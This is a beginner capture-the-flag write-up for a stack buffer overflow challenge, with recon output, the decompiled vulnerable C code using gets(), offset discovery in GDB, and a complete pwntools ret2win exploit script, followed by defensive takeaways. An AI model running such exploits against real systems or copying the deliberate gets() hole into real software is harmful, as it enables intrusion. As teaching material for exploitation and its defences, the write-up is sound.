A beginner-friendly walkthrough of the "Baby Overflow" challenge from our February monthly CTF. We'll cover the fundamentals of stack-based buffer overflows, from understanding memory layout to redirecting program execution.
Understanding the Binary
We were given a 64-bit ELF binary. Let's start with basic recon:
file baby_overflow
# baby_overflow: ELF 64-bit LSB executable, x86-64
checksec baby_overflow
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE
No stack canary, NX disabled, no PIE — this is as vulnerable as it gets.
Decompiling with Ghidra
Opening in Ghidra revealed a simple main function:
void main(void) {
char buffer[64];
puts("Enter your name:");
gets(buffer); // Dangerous! No bounds checking
printf("Hello, %s!\n", buffer);
return;
}
void win(void) {
system("/bin/cat flag.txt");
}
The gets() function reads input without any length limit, and there's a win() function that prints the flag. Classic ret2win.
Finding the Offset
We need to know exactly how many bytes to write before we overwrite the return address. Using pwntools:
from pwn import *
# Generate a cyclic pattern
pattern = cyclic(100)
print(pattern)
Running the binary with this pattern and examining the crash in GDB:
gdb ./baby_overflow
r <<< $(python3 -c "from pwn import *; print(cyclic(100).decode())")
# Program received signal SIGSEGV
# RSP points to: 0x6161616c6161616b
offset = cyclic_find(0x6161616b)
print(f"Offset: {offset}") # 72
72 bytes to reach the return address.
Writing the Exploit
from pwn import *
elf = ELF('./baby_overflow')
win_addr = elf.symbols['win']
payload = b'A' * 72 # Fill buffer + saved RBP
payload += p64(win_addr) # Overwrite return address
p = process('./baby_overflow')
p.sendline(payload)
print(p.recvall().decode())
# RTA{st4ck_sm4sh1ng_f0r_th3_w1n}
Why This Works
The stack layout looks like this:
| Address | Content |
|---|---|
| RSP | buffer[0..63] |
| RSP+64 | saved RBP |
| RSP+72 | return address |
When gets() reads more than 64 bytes, it overwrites past the buffer into the saved RBP and return address. When main returns, execution jumps to our chosen address: win().
Key Takeaways
gets()is banned — never use it, usefgets()with a size limit- Stack canaries would have detected this overflow at runtime
- NX bit would prevent executing shellcode on the stack (though this was ret2win, not shellcode)
- ASLR + PIE would randomize addresses, making exploitation much harder